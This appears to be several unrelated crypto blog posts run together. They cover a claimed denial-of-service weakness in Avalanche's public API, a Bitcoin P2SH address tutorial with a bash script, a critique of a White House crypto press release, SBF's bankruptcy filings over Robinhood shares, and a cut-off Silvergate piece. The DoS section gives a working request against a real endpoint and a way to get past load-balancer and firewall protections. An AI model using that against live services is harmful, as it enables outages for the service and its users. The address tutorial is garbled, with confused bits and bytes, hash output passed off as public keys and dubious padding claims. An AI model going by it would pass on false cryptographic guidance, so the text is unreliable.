2. The curl command is formatted a bit more coherently for the sake of portability and readability.

Without wasting time detailing those efforts, I have that curl command published below.

curl --location --request POST 'https://api.avax.network/ext/bc/P' \
--header 'Content-Type: application/json' \
--header 'Content-Length: 77' \
--data-raw '{
  "id":2,
  "method":"platform.getCurrentValidators",
  "jsonrpc":"2.0"
}'

For starters, I (foolishly) ran this in a naked terminal. Just for kicksj to see what would happen.

As we can see from the GIF above, the response that's generated from the endpoint is absolutely massive.

Granted, there is a 1015 error that's incurred everytime attempts to run the command subsequently on the same device (likely due to strong rate limiting to try to mitigate the situation), but this is something that can be bypassed with ease as we'll see later.

Running the Command in Postman

After seeing the type of output that was generated by the response when I pinged the endpoint, I decided to try the curl command in Postman to see if I could get a gauge of how large the response was.

The result was actually pretty nuts.

For those curious about what the crafted request looks like in Postman, here it is:

Running this command in Postman causes it to crash every single time its ran (tried it on different computers, diff operating systems & browsers). But I could see that the value of the response fed back from the server was >20MB+, which is actually preposterous for this type of data (JSON).

At 20+ MB, the size of the response is far in excess of what anyone would want their API endpoint to be returning for any request when the data is in this format (also not chunked at all).

Avalanche's Entire Network Could be Knocked Off With Ease

None of the supposed mitigations that Avalanche has proposed will assuage this situation in the least bit.

I am aware that there is a section of the API documentation that notes that the API requests made on the main public API endpoint hosted by Avalanche are supposed to be load balanced.

Going back to the panel on Postman that shows the cookies embedded by the API endpoint reveals what mechanism Avalanche is using for their load balancing.

AWS ALB Cookies

These cookies are deployed to create "sticky sessions" for one's load balancer implementation provisioned with AWS.

These cookies essentially are attached to various users making requests on a load-balanced endpoint to ensure that the user interacts with the same internal endpoint among the load-balanced services.

How This Can Be Trivially Bypassed

If we were to append 8KB+ of data to the end of our request, then the servers will no longer be able to tag us as an entity, effectively eroding whatever protections were granted by the WAF (web application firewall) & its security assurances on the API endpoint as well.

[source]

Other Factors Making This Vulnerability a Done Deal

Since the size of the request is so nominal on our side (as the sender), it would be virtually impossible for Avalanche to try to scan the traffic headed to its WAF setup in order to parse between "legitimate" and non-legit activity.

This is especially true when considering the fact that this payload is generated by virtue of submitting a legitimate request to the server. We not only followed the API's documented methods & parameters, but we also explored this attack vector by using the 'example' request provided on their site for this method (seriously).

Hopefully Avalanche Pays the Diligent Researcher That Uncovered These Issues

He did his job and found a legitimate denial of service vulnerability.

It would be trivially easy to exhaust the main public API endpoint for Avalanche with the information we've gathered here today.

If you've read up to this point and you're at somewhat of a loss because you were expecting to see a 'walkthrough' or guide on how to do so - sorry. You won't find one here and that's only due to a personal code of ethics & just general decorum.

For those that are familiar with the topics discussed in this vulnerability report, I'd imagine that the attack vector became glaringly obvious for you the second you saw the YouTube video referenced at the top of this piece.

Hopefully publishing this report prompts the Avalanche team to take the safety and security of their $5.6 billion platform a little more seriously.

Quick Summary of How This is Going to Go Down

Using nothing more than a couple of rudimentary terminal commands as well as a nifty git repo (html-based page that can be run offline), I'm going to show users how to generate a valid Bitcoin address from scratch using one word (librehash).

Purpose of This Exercise

To make it clear that I have a high level of knowledge, understanding & command of blockchain concepts. This should result in the understanding that users are being warned by a highly credible source.

Setting the Stage

Okay, in order to do this, we need to get organized for a second.

Figuring Out What Type of Address We Want to Create

Ever since BIP11/BIP12 - Bitcoin transactions have been oriented in such a way to where the recipient provides the spending conditions for any Bitcoin that they "receive" (by virtue of their formed address).

In laymen's terms - creating a run-of-the-mill Bitcoin address and passing that to someone for payment is also like you telling that individual:

"Hey, I'd prefer it if you established a condition that says that I must provide some value that, when hashed with sha256 [twice], then hashed with ripemd160, provides the equivalent result. Then, when that's done - I want the protocol to assess my accompanying signature next to that value that I provided (assuming it rendered 'true' for the first half of the script) and determine whether there's a match. If there is - then, and only then, should I be allowed to spend these funds in question)

That's a mouthful - but in everyday language, that just amounts to a generic Bitcoin address.

The blockchain sees it as conditions to spend.

Make sense? Cool.

We Need to Craft a P2SH Transaction

That stands for pay-to-script-hash ; sort of similar to P2PKH, except in this case it allows us to make a payment to a script that could have a wide range of mandated conditions to fulfill before spending (this doesn't have to be related to a private or public key if we don't want it to be).

Quick Background

P2SH was instantiated with BIP16. There was a bit of community in-fighting at the time - but fortunately (for us in this scenario), it made it through.

As noted in the text above, this BIP (among some other augmentations) cemented the principle of shifting redemption considerations to the receiver (vs. being imposed by the sender).

This next bit is extremely important:

Unpacking the Above

"The benefit is allowing a sender to fund any arbitrary transaction, no matter how complicated, using a fixed-length 20-byte hash that is short enough to scan from a QR code or easily copied and pasted."

However, there are certain caveats that must be observed.

Specifically:

"Transactions that redeem these pay-to-script outpoints are only considered standard if the serialized script - also referred to as the redeemScript - is, itself, one of the other standard transaction types."

Our guidance for how we should be manifesting a transaction of this nature can be found in '3' (among the rules for validation of p2sh transactions):

This gives us our next directive for the avenue that we must pursue for my goal of creating a Bitcoin address from the word "librehash"

First Step: Generate the Appropriate Script

We'll keep this simple.

The script in question that we're going to use is: op_hash160 [librehash hashed] op_equalverify

Explaining the Script That We Just Created

For reference, this page on the Bitcoin Wiki is still the undisputed best location on planet earth to reference op codes on the Bitcoin protocol.

What is 'OP_HASH160'?

This one is simple. OP_HASH160 executes two consecutive hash operations; the first is sha256, followed ripemd160 (to concatenate the SHA256 output).

Why Did We Go With This One?

Because we need to ensure that the final output from all of these operations is truncated down to 20 bits per the specifications outlined in BIP16.

remember?

What is 'OP_EQUAL'?

This one is super simple (see below):

Basically, it means that we take the top two items on the stack & assess whether they are equal to one another

All of These Operations Take Place in a Stateless Fashion Facilitated By 'Script'

Look up, 'What is Bitcoin Script language?', and there will be a >90% chance that you'll come across some source on the internet that will describe it as an "archaic", 'forthright' smart contracting language for Bitcoin.

This is...a vague definition.

Simple Way to Think of 'Script' (on Bitcoin)

It is simply a pre-generated execution sequence that runs from start to completion in one loop (before the program is killed; there is no 'loop' in the 'Script' programming language on Bitcoin, so we have an indisputable sense of a "start" and a "finish").

For the Visual Learners Out there

Just kidding (although what's above is entirely accurate).

But here's a more user-friendly gif that shows the simple execution of the 'Script' sequence (this is essentially us looking at the 'cells' through a "microscope" if Bitcoin addresses were people [Biology]):

Necessary Tools For Executing This Endeavor

There are two tools that we're going to use for this.

They are listed below (urls):

1. https://improvein.github.io/bitcoin-forge/#/

2. https://gchq.github.io/CyberChef/

We're a little out of order, but we're going to start with the second item on the list here (GCHQ Crypto Chef Tool).

the what-a-what?

Before we dig into that, let's just check out the second link in question here. (GCHQ CyberChef)

CyberChef Tool Needed to Hash Out Librehash

This would be much more efficient via bash script through the terminal (published below for all those that want that), but since not everyone reading this is a fan of using terminals, let's stick to GUIs, shall we?

Using GCHQ to 'Chef' Up Our Bitcoin Address

Note: this is an open source app that can be found on GitHub

Upon visiting the site, users should see something similar to the following:

This tool will allow us to transform our quasi-seed phrase into the hashed output that we need for this exercise.

Recalling What We're Looking For Here

The 'op_hash160' output of the word 'librehash' (we're going to ignore base58 encoding or hexadecimal/binary format delineations here for the sake of KISS)

What Does Hash_160 Do Again?

op_hash160 = OP_HASH160 = ripemd160 of SHA256(sha256(x))

This may seem a bit tricky, but this should be simple to do. So, without further ado - let's get started.

First, we need to hash the word 'librehash' with sha256, then take that output and hash it against sha256 once again - then, finally, hash the second output with ripemd160 to truncate the 32-bit sha256 hash to 20 bytes

Rather than outlining all of this verbosely, I decided to get creative and make a video (also don't want to be too redundant here).

View below:

More of a Command Line Junkie?

Understandable.

The script below should render the same result when executed (bash).

#!/bin/sh 

#Lets generate a directive on the terminal for the user running the script
echo 'Pick a password to hash into your p2sh wallet'

#Before we do that we want to make sure that the tty output is silenced so that we dont leave ourselves vulnerable to being compromised by potential bad actors that have managed to get a hold of our bash history somehow
stty -echo

#this next command takes the outputted response from the stdin and assigns it to the word pass which is important
read pass 

#this next command will pipe the password that we made earlier into openssl which will hash that with sha256
echo $pass | openssl dgst -sha256 >> /tmp/firstrun.txt

#we need to rinse repeat again though so lets get to it
cat "/tmp/firstrun.txt" | openssl dgst -sha256 >> /tmp/secondrun.txt

#great we are almost done we just need to pipe this one more time through openssl but this time for the sake of generating a 20 byte output we will ultimately throw into our script
cat "/tmp/secondrun.txt" | openssl dgst -ripemd160 | xclip -sel clip -rmlastnl

#for the xclip command users will need to install that via their apt repo if you are using ubuntu or debian cant speak to other distros just check 
#that command is useful because it pipes the output straight to our clipboard
#now its time to clean up 

bleach='bleachbit -s "/tmp/firstrun.txt" > "/dev/null" 2>&1'

#the command above uses the bleachbit tool to scrub the first outputted file from our tmpfs even though it should be wiped after we end our session anyway since tmpfs is RAM 
#the above command only gave a directive to execute when the newly created bleach variable is called in our subshell so lets try it out 
eval "$bleach"

#we could be super careful and create a conditional script that only proceeds if the tmp directory is devoid of the file in question that we just attempted to bleach out of existence with the above command but I dont think that we need to go that overkill with this
bleachblonde='bleachbit -s "/tmp/secondrun.txt" > "/dev/null" 2>&1'

#this is a bit redundant but I ran the commands separately for the sake of being demonstrative here
eval "$bleachblonde"

#we need to turn the terminal on
stty echo 

# now we are done

exit

Super Important Note Here

When running this script, I noticed that I was getting a different output than the GCHQ tool.

This confused the living hell out of me (because this should not happen under any circumstance since all hash signatures being used here are deterministic)

The Culprit = prefixed '(stdin)' tag that openssl outputs:

The best immediate solution though would be to merely output the last 64 characters (32 bytes) of the file where we piped the hashed result into. Problem solved.

Shouldn't Screw Anyone Though

If one were to consistently use that bash script (and only that), then the output would deterministically be the same (we're dipping into stateless address generation / BIP38 territory here); but its best to do things in the most consistent, interoperable way possible (as recommended by the IETF in numerous RFCs).

time traveling capsule

With all of that being said...We did it!

No time to pat ourselves on the back though - there's still more work that must be done.

Generating Our Transaction Conditions

For clarity's sake, the rendered output that we're going to go with is the one that was produced by the GCHQ tool (since this is the easiest to replicate for everyone following alone).

For the record the output (20-byte) should be: 195fe1018a63dd4649af19afdbca7edc01fb3c93

Visiting the 'Bitcoin Forge' Toolkit

I'm not entirely sure who the fellas are behind this tool (the first link that I published above), but it is absolutely magnificent.

Users can essentially craft any transaction of their choosing with a high level of granularity in their preference decision (down to the deliberate crafting of a wallet address via preferred transaction type if that's meaningful)

"Okay, what's the website dude?"

URL = https://improvein.github.io/bitcoin-forge/#/

This site is 1 million percent safe and so is the code ; you can audit it for yourselves here: https://github.com/improvein/bitcoin-forge

my gripe here though is that the calls are made internally into the file system & also there are no integrity hashes accompanying the loaded .js, which we definitely want to include for an app of such a sensitive nature like this one; these are ultimately trivial additions to add in, in the grand scheme though (yeah, I forked the codebase, hacked around and attached argon2-driven stateless bitcoin address generation leveraging the same 'memwallet' specs 'Keybase.io' did in their Bitcoin live example)

Enough of me rambling though - let's get to it.

Generating Our Conditions

Once you get to that site (or spin it up yourself locally), you're going to want to click here:

That will take us here:

No need for intimidation, this is the easy part.

One only needs to follow through as such:

if you're curious how this was done manually, there will be another video showing the entire process from this point

Now We Serialize the Script

By clicking the 'compile' button:

This leaves us with:

a914195fe1018a63dd4649af19afdbca7edc01fb3c9387

Doubling Back to Amend One Minor Detail

I got ahead of myself here because what we've provided above would serve as the second part of the 'Script' scheme (partitioned by the CODESEPARATOR op_code).

What I just wrote in the paragraph above probably makes zero sense and I'll accept that for now because it's outside of the scope of this write-up.

More to the Point

Given the nature of hashing and cryptography in general, we can "shortcut" some of the address generation process - which will allow us to 'game' the 'Script' into thinking that the script hash is a legitimate hash of something that derived from ecdsa (secp256k1 ; elliptic curve transformed).

'How does one do this?'

By running an elliptic curve operation on any 32-bit (or '33-bit') input, compressing the result (32 bits) before appending the mainnet version bytes to the result.

or

Simply concatenating ('XOR', perhaps?) two 32-bit strengths, yielding a 64-bit output, then appending '04' (version bytes/flag; can't remember which) to the beginning

quick reminder, make sure that the output is in hexadecimal format

After curating the bash script (and including videos, media, etc.), I realized my folly in adding an erroneous additional sha256 hash operation (there's only one, which must be either derived from a versioned Bitcoin).

So let's step back a minute and see if we can't get ourselves a P2SH address from our original input ('librehash') using a more creative means of deriving said address.

See below:

In the photo above, I hashed 'librehash' with 'SHAKE256' (part of the SHA-3 family).

SHAKE is an XOF hash function (variable output hash). This means that it can take a hash of virtually any given length & churn out a uniform output.

Ironically, this is a pain point for SHA-2 (i.e., it doesn't 'pad' inputs well). I imagine that Satoshi knew this, which would explain the insistence on 32-bit architecture & 32-bit / 33-bit inputs (along w base58 encoding) to mitigate padding attacks on transactions that would allow one to actually forge the sender's signature (Satoshi knew his shit).

Enough rambling - let's append a mainnet version code to our 64-digit output ('04').

From:

c7cc45701351a2f28d2a6677a373672a927b95bce90167dcbb7c48645da51e9a4c5103b41b20b416e62f1ed70e67882d950eab638f2b3e49b660dae2b4cb15bb

to:

04c7cc45701351a2f28d2a6677a373672a927b95bce90167dcbb7c48645da51e9a4c5103b41b20b416e62f1ed70e67882d950eab638f2b3e49b660dae2b4cb15bb

The above would be considered an 'uncompressed' Bitcoin address.

Or, we could try our luck by piping the unaugmented SHAKE256 output of 'librehash' into 'shake128' to render a 32-bit hashed output.

We can append '02' (signaling a valid compressed ecdsa public key in hexadecimal format on the Bitcoin protocol).

d665a268d2ab299089a484a65ba55544a51de1527581f8bb76bcfc924bd8f163

to:

02d665a268d2ab299089a484a65ba55544a51de1527581f8bb76bcfc924bd8f163

Then run that output through op_256 (hash256 twice) ; yes , tedious but takes no time in terms of computing cycles.

But we don't even need to do that because we can simply hash our foe-compressed key with ripemd160 and generate a valid address from there.

(remember, p2sh mandates a 20-bit input)

02d665a268d2ab299089a484a65ba55544a51de1527581f8bb76bcfc924bd8f163

(One ripemd160 operation later)

Renders the following output: abbdc37f19826d00cd94a7a4707be1cb4956e08c

Which we then pipe into a slightly different Bitcoin script:

The 'compile' button serializes it for us: a614abbdc37f19826d00cd94a7a4707be1cb4956e08c87

There are plenty of tools in the world that will allow us to transform our valid redemption script into an actual Bitcoin address (like the one I showed you).

And voila:

Conclusion

1. Every single operation users were shown in this write-up was performed offline

2. This entire write-up sets up a meaningful convo that I would like to have about why wallet providers insist on forcing users to generate addresses via mnemonics (which is literally a human-readable, easy-to-remember private key, that users don't even need to interact with)

This press release is weird. Let's walk down the curious strategy the White House pursued in this publication.

1. They begin by lamenting the fact that "2022 was a tough year for cryptocurrencies". That's a bit of an understatement, but sure.

2. From there, they only touch on one critical event by noting the implosion of a "so-called 'stablecoin'", which triggered a cascade of insolvencies in the crypto space.

3. That statement is followed up with the acknowledgment that "many everyday investors who trusted cryptocurrency companies - including young people and people of color - suffered serious losses...", which is where it gets awkward because it's likely that those two demographics were the ones that were impacted the least by the chaos. That aside, in this very specific instance, it seems strange to pick out two different demographics of peoples impacted by the fallout in the crypto markets as if their losses are somehow less acceptable than that of anyone else's (side note: The author of this piece is young and Black).

4. From there...the press release inserts an invisible middle finger to both the crypto industry and all those aforementioned folks who were impacted by the chaos of the crypto markets when it enigmatically pivots mid-sentence to say "but, thankfully, turmoil in the cryptocurrency markets has had little negative impact on the broader financial system to date". The statement makes it implicitly clear that despite acknowledging the life-altering losses countless American citizens suffered at the hands of the crypto sphere, it's really 'all good' at the end of the day because, after all, the good ol' USA financial system wasn't impacted by it. So, it really ain't that bad for real. You feel me? (in essence)

The Press Release Gets Worse From There

Despite acknowledging just how poorly things went in the crypto sphere last year, the press release failed to concretely pinpoint exactly what led to the fallout.

The press release goes on to state, "While cryptocurrency may be relatively new, the behavior we have seen some cryptocurrency companies exhibit and the risks posed by this behavior are not."

No additional hints are given as to what behavior in specific the White House is referencing but based on their promise in the following sentence to, "ensure that cryptocurrencies cannot undermine financial stability, to protect investors, and to hold bad actors accountable", it appears that they are referring to a crackdown on the improprieties by cryptocurrency companies.

Expansion of Power is Unnecessary

The press release explicitly calls out Congress, stating, "congress, too, needs to step up its efforts", then provides an example of what could only assume would qualify as 'stepping up its efforts' when citing a potential expansion of "regulators' powers to prevent misuses of customers' assets - which hurt investors and distort prices - and to mitigate conflicts of interest".

The fact is that these agencies have long since been imbued with the authority to impact regulation in this space in a meaningful fashion. In specific, the CFTC had the power to crack down on FTX's absurd proposal to serve as their own clearinghouse despite having nowhere near the expertise, capital or resources required to do so.

FTX was licensed and registered with the CFTC as a 'derivatives clearing organization' (DCO). As such, it was their responsibility to monitor and police the activities of the cryptocurrency exchange in the weeks and months leading up to its eventual collapse.

Since then, numerous observers have taken the time to zero in on the questionable behavior of the CFTC over the past few months. Notably, FTX had spent considerable time and resources in pushing forward an agenda to expand the regulatory powers of the CFTC over the crypto sphere (which is an initiative that's actually in accordance with what the Biden administration requested in their press release).

Probing into the Relationship Between FTX and the CFTC

At the end of November, the Washington Post published a critical, yet necessary piece that peered into the relationship between Samuel Bankman-Fried and Rostin Behnam, head of the CFTC.

The article notes that, "Since last year [2021], the two have worked in parallel on critical initiatives which, if not for the sudden demise of Bankman-Fried's FTX empire, might have radically altered the nation's attempts to govern the freewheeling market for digital currencies."

How, you ask? Through a bill, largely backed by Samuel Bankman-Fried and FTX, that sought to make the CFTC the de facto agency for all supervisory-related responsibilities for the cryptocurrency space.

As shown in the excerpt above from the WaPo piece, there are a number of eyebrow-raising facts surrounding the collaborated efforts of Samuel Bankman-Fried and the CFTC that suggest that further scrutiny is warranted by those in power whose job responsibilities include launching inquiries to investigate potential conflicts of interest or abdications of responsibility by government agencies (particularly regulating bodies like the CFTC).

That idea aside, perhaps what's even more troubling is the fact that the CFTC refused to deny FTX's application to expand the derivatives offering on its FTX.US platform with its proposal of an 'automatic liquidation' machination to manage positions heading into default.

Relating This Back to the White House Press Release

A few paragraphs in, the press release makes mention of a report it commissioned to address the risks inherent in the cryptocurrency sphere.

Notably, this report is mentioned within the context of its admonishment of Congress, stating, "[Congress] could limit cryptocurrencies' risks to the financial system by following the steps outlined by the Financial Stability Oversight Council in its recent report."

Ironically, it is that very same report that blasted the FTX.US derivatives expansion plan that the CFTC was apparently in love with.

In that excerpt above, the FSOC report did everything but call out FTX by name.

• "Platforms typically use some level of collateral and then rely on auto-liquidations of that collateral when a position's value falls below some margin maintenance level" (this describes FTX's handling of derivatives precisely)

• The mention of 'leveraged tokens' is an ode to FTX as well, since they invented & introduced them to the crypto markets.

Just in case these references aren't convincing enough, it's worth noting that there's an in-text citation hanging at the end of the paragraph appearing before the first one in the screenshot above that references documentation on FTX US' site detailing 'Spot Margin Trading'.

Beyond that and other mentions, a considerable portion of the report is dedicated to outlining the risks of crypto derivatives to U.S. consumers.

Among that content, the most relevant was the report's warning about "automated liquidation":

Summarizing the excerpt above:

• The FSOC report explicitly notes that the 'method of liquidating leveraged positions can have substantial implications for whether the unwinding of those positions affects orderly market conditions'.

• The report then very specifically singles out a method called 'automated liquidation', stating that when "combined with high leverage [it] potentially heightens financial stability risks" while also noting that the price behavior most crypto assets typically exhibit (high volatility) lends them to being more predisposed to triggering this liquidation mechanism relative to other traditional asset classes, thus heightening the dangers.

The report doesn't stop there. Following what you just read in the excerpt above, the FSOC report goes on to note that, "Automated liquidations without appropriate regulatory guardrails are likely procyclical, exacerbating balance sheet distress at a time of falling asset values and potentially creating a cascade of automated liquidations. Compared to alternative liquidation mechanisms, automated liquidation may cause lenders to be more likely to liquidate*.*"

Circling Back to FTX's Proposal with the CFTC

On March 12th, 2022, Samuel Bankman-Fried appeared in front of Congress on behalf of FTX to answer questions related to his exchange's "automatic liquidation" proposal that had been sitting with the CFTC since December 2021.

Below are excerpts from the transcript of Samuel Bankman-Fried's testimony during his opening statements to Congress at that hearing.

CME President Duffy Destroyed FTX's Proposal at the Hearing

Notably, this hearing also had some other major players in the derivatives industry there to weigh in on FTX's proposed "auto-liquidation" feature.

One particularly outspoken member of that panel was the Chairman and CEO of the CME Group, Terry Duffy.

Rather than offer commentary on Duffy's testimony, this piece will defer to his actual statements, shown in the screenshots below.

Duffy Carves Up FTX's Auto-Liquidation Proposal Too

Duffy Even Called Out the Conflicts of Interest Between FTX and Alameda

One observation that will be noted here from the excerpt depicted in the above screenshot is the fact that Duffy very specifically called on the CFTC to investigate the conflicts of interest between Samuel Bankman-Fried and Alameda, while also noting the issues inherent in the firm's relationship with FTX that warranted such scrutiny.

Statements of note from the above screenshot:

1. "FTX heralds its use of backstop liquidity providers as a prudent liquidity risk management tool that can be utilized where auto-liquidation fails. FTX does not identify those potential backstop liquidity providers. We can only speculate on who they are and their relationship to FTX.

2. "It is worth noting that Alameda Research, which has common ownership with FTX and was originally founded to exploit cross-border crypto arbitrage opportunities, plays a significant role in managing liquidations and providing liquidity in offshore and cash crypto markets. It is important for market stakeholders and the CFTC to investigate these unknowns further in light of the clear conflicts of interest of such a structure."

Duffy Outlines All the Risks FTX's Proposal Created for Customers

This part of his testimony is where he really elucidated the dangers customers at FTX were facing:

Duffy's Closing Statements Finishing Off FTX

Yeesh.

White House's Press Release Shows They Have No Clue What's Going On

When considering all that was written above, it's clear that the solution to the crypto space's woes is not 'expanding regulatory powers', but rather holding them accountable to exercise those powers effectively.

Proposing sweeping changes and enforcement measures as part of knee-jerk reaction to shocking news in the crypto space without truly probing into the heart of the issue is an irresponsible move by the White House.

In parting - consider the fact that this piece you just read was written by one random individual in the crypto space. This was not assisted or informed by any team, agency, or group. These findings and conclusions are the result of independent, non-financed efforts.

With that being said, how much easier should it be for the White House to ascertain what's going on in the crypto sphere so that they can react accordingly? Granted, there's certainly a lot more than crypto on the White House's plate, but given the fact its important enough for them to commission multiple reports and press releases addressing the industry in the space of less than a year, one can strongly argue that perhaps the White House needs to start pointing the finger at itself rather than everyone else.

Thus, any filings by Samuel Bankman-Fried in the FTX Bankruptcy docket are in furtherance of his interests as an individual private citizen.

Taking a Peek at Samuel Bankman-Fried's Request to Exempt the Robinhood Shares from Falling Under Injunction

• Full-text here

The filing asks the court to deny FTX's petition to place the assets among those that are subject to the 'Automatic Stay' that's typically triggered at the commencement of bankruptcy proceedings. Specifically the filing states, "Mr. Bankman-Fried respectfully requests that the Stay Motion be denied because the FTX Debtors are effectively advancing an argument for a preliminary injunction but have failed to carry their heavy burden of establishing that such an extraordinary remedy is warranted."

The filing goes on to state, "As the United States Department of Justice obtained a warrant to seize the assets at issue and seized such assets, the Stay Motion is moot. Despite that, the FTX Debtors have not withdrawn the Stay Motion. As a result, Mr. Bankman-Fried is compelled to reply...The FTX Debtors seek to disregard the separate existence of a corporation that is not a party to this action and encumber hundreds of millions of dollars worth of assets to which they have no legal claim. The remedy they seek is extraordinary and inappropriate. Accordingly, the Stay Motion should be treated as a request for a preliminary injunction and subjected to a heightened standard of proof."

In short, the filing notes that FTX in its capacity as an exchange made a filing requesting for these assets (Robinhood shares) to be included among the already existing assets that had been placed under an 'Automatic Stay', as is typical during Chapter 11 bankruptcy proceedings.

Brief Explanation of the 'Automatic Stay' Process in Chapter 11 Bankruptcy Proceedings

The purpose of filing for bankruptcy under 'Chapter 11' is to grant the filing entity a chance to "reorganize" and restructure their business in a manner that will allow them to continue operating insolvency.

As such, these proceedings are almost always accompanied by an 'Automatic Stay' of the filing company's assets. A 'stay' is a general legal term that refers to an "injunction" issued by the courts. In layman's terms, it's an order to cease a pending action(s) and a prohibition against commencing said action(s).

In this case, the automatic stay is a "provision in United States bankruptcy law that temporarily prevents creditors, collection agencies, government entities, and others from pursuing debtors for money that they owe." (source).

U.S. law dictates this goes into effect the second a debtor (company filing for bankruptcy) makes the filing.

Again, per Investopedia, "Automatic-stay provisions protect the debtor against certain actions from their creditors, including starting or continuing court proceedings against the debtor; moving to foreclose on a debtor’s property; creating, perfecting, or enforcing a lien against a debtor’s property; and attempting to repossess the collateral."

The purpose of this provision of Chapter 11 bankruptcy filings is to give the debtor time to get their shit together before creditors and others descend upon them like a bunch of ravenous vultures because they will likely engage the debtor in proceedings that will encumber their ability to restructure their finances properly, which is ultimately counter-intuitive to the interests of all creditors, collectively.

Relevant Information about Emergent Fidelity Technology Ltd.

It's important to remember that FTX is the debtor here - not Samuel Bankman-Fried, even though the latter is the one that's informally considered to be the individual indebted to FTX customers and lenders.

The shares in question that Emergent Fidelity Technology Ltd. acquired from Robinhood were purchased with funds the holding company received from Alameda Research, which is one of the firms involved in the Chapter 11 bankruptcy proceedings. The holding company, 'Emergent Fidelity Technology Ltd.', is 90% owned by Samuel Bankman-Fried with Gary Wang holding the remaining 10%.

Both individuals are the defendants in a pending federal case with charges that include multiple counts of fraud perpetrated against their customers in their respective roles as executives at FTX.

As noted in the New York Times and other publications, Gary Wang, one of the founders of FTX, has already pleaded guilty to four different counts related to the aforementioned pending federal case.

Those counts are reflected in the superseding indictment against Samuel Bankman-Fried, which attaches the former CEO of Alameda Research, Caroline Ellison alongside Gary Wang as co-defendants.

The specific counts to which Gary Wang plead guilty are:

1. Conspiracy to Commit Wire Fraud on Customers

2. Wire Fraud on Customers

3. Conspiracy to Commit Commodities Fraud

4. Conspiracy to Commit Securities Fraud

The relevant court filing that includes these charges alongside supplementary 'superseding' information can be found here.

Argument Made by SBF's Legal Team for Denying FTX's Motion

In their filing to the bankruptcy docket on January 5th, 2023, Samuel Bankman-Fried's lawyers object to FTX's motion titled, 'Debtors' Motion to Enforce the Automatic Stay or, in the alternative, Extend the Automatic Stay' on several different grounds, which are summarized below:

1. It is argued that any consideration about whether the shares should be considered as part of the automatic stay is pointless because the Department of Justice's seizure of said shares renders the argument moot since the court is now unable to make any ruling that can impact their status at this point.

2. It is argued that the debtors' claim to these shares is, in actuality, a request for preliminary injunctive relief. The rationale underlying this argument is a bit more nuanced, but in essence SBF's filing asserts that since the shares were technically never the property of either Alameda or FTX, they cannot qualify for injunctive relief under the 'Automatic Stay' provision of Ch. 11 proceedings. It is then asserted that the debtors still believe they must lay claim to these assets on the basis that their acquisition was only made possible via a loan from Alameda Research and that said the loan was only given under fraudulent pretense or suspicious circumstances. SBF argues that such an assumption is not validated by present facts but rather by allegations. Therefore, imposing an injunctive relief upon such assets would not qualify as applicable under the 'Automatic Stay' but rather as a 'preliminary injunction' (keyword: preliminary).

3. The filing claims that "Mr. Bankman-Fried and Zixiao Wang borrowed the funds for Emergent to purchase the Robinhood Shares from Alameda and a set of loans were memorialized in four different promissory notes." It is stated that public records of the transaction can be found within this SEC court filing.

OG Motion Filed by FTX Requesting Injunction on Robinhood Shares

This report is not covering the various claims on the shares in chronological order for coherency purposes as it made more sense to examine SBF's objection in specific before visiting the motion filed by Samuel Bankman-Fried

The original motion for which Samuel Bankman-Fried, BlockFi and other competing parties filed responses in objection to was filed by FTX on December 22nd, 2022, and titled, 'Debtors' Motion to Enforce the Automatic Stay or, in the Alternative, Extend the Automatic Stay'.

This filing can be found here

The filing begins by noting, "Approximately 56 million shares of Robinhood Markets, Inc.'s Class A common stock are currently frozen in a brokerage account at ED&F Man Capital Markets Inc. in New York City. Alameda held other assets at EDFM for which there is no dispute as to ownership. However, unlike other Debtor assets at EDFM, the Robinhood Shares were nominally held, on the Petition Date, in street name for an affiliated non-debtor company organized in Antigua and Barbuda named Emergent Fidelity Technologies Ltd. Emergent is a special-purpose holding company that appears to have no other business, and is 90% owned by Samuel Bankman-Fried, former CEO of FTX Trading and former ultimate controlling person of FTX Trading and Alameda."

Their filing goes on to note "three different competing stakeholders of the Debtors" who have submitted filings laying claim to the shares in proceedings involving the Debtor (FTX), which are:

1. BlockFi Lending LLC and BlockFi International LLC

2. Yonathan Ben Shimon

Revelations from FTX about BlockFi's Involvement

On page 3 of the FTX filing, it is stated that "BlockFi has been a lender to Alameda for at least three years. With news of FTX's imminent collapse making headlines worldwide, just two days before the Debtors (including FTX Trading and Alameda) filed for bankruptcy, BlockFi scrambled to protect itself from impending losses on antecedent loans by threatening to seek remedies against Alameda if Alameda did not pledge additional collateral for those loans."

"In response to those threats, and despite the perilous financial position of Alameda and the other Debtors, Alameda's then-CEO Caroline Ellison, with knowledge and encouragement from Mr. Bankman-Fried, purportedly agreed to pledge over $1 billion worth of additional Alameda assets to secure Alameda's outstanding loan obligation to BlockFi. The Robinhood Shares were included in these pledged assets by Alameda's then-CEO, despite the fact that the Robinhood Shares were nominally held by Emergent, because Alameda had then, and continues to have, a property interest in the Robinhood Shares."

This information substantially diverges from what was included in the objection to the Stay made by Samuel Bankman-Fried in several important ways.

Out of all the new information provided, the most important tidbit in this portion of the filing is the revelation that Alameda included these funds as part of a $1 billion dollar collateral package to BlockFi in November 2022 (this date derived from the filing stating that this occurred, "just two days before the Debtors filed for bankruptcy" since this is known to have occurred on November 11th, 2022)

Notably, this claim was not rebutted or even acknowledged in Sam Bankman-Fried's filing objecting to this motion by FTX.

Revelations from FTX about Yonatan Ben Shimon

'Yonathan Ben Shimon' (his name is spelled, 'Yonatan' online), is the other creditor that the FTX filing states laid claim to the Robinhood shares owned by Emergent Fidelity Technology Ltd.

In regards to this creditor, the filing states, "Meanwhile, in Antigua, a creditor of FTX Trading, Mr. Ben Shimon, has obtained a freezing injunction from an Antiguan court with respect to the assets of Emergent, including the Robinhood Shares, following the appointment of receivers for Emergent and the Shares. The receivers were appointed after the Antiguant court concluded there was sufficient evidence that the Robinhood Shares were purchased with funds from FTX Trading and, therefore, should be available to pay prepetition claims of creditors of FTX Trading, such as Mr. Ben Shimon. The receivers have purported to replace Mr. Bankman-Fried as sole director of Emergent."

Conclusion

The purpose of this post was just to provide greater information about what's going on behind the scenes as it pertains to Samuel Bankman-Fried and the Robinhood Shares.

If you've been following the news in the crypto space lately, then it may come as a surprise to you that Silvergate is in some deep shit.

'What are You Talking About? There's Been Plenty of Coverage in the Crypto Space about Silvergate Bank'

Yes...technically.

But that coverage has not dug into some of the more serious issues Silvergate faces at the time of writing.

FTX + Alameda's Relationship and Banking Activities at SIlvergate are Relevant, but Ancillary

At this point, it's well-known that Sam Bankman-Fried used Silvergate as his bank of choice for Alameda and (we'll assume) FTX as well, although details on the latter's true banking situation will likely remain opaque until the conclusion of SBF's federal trial and other related court proceedings.

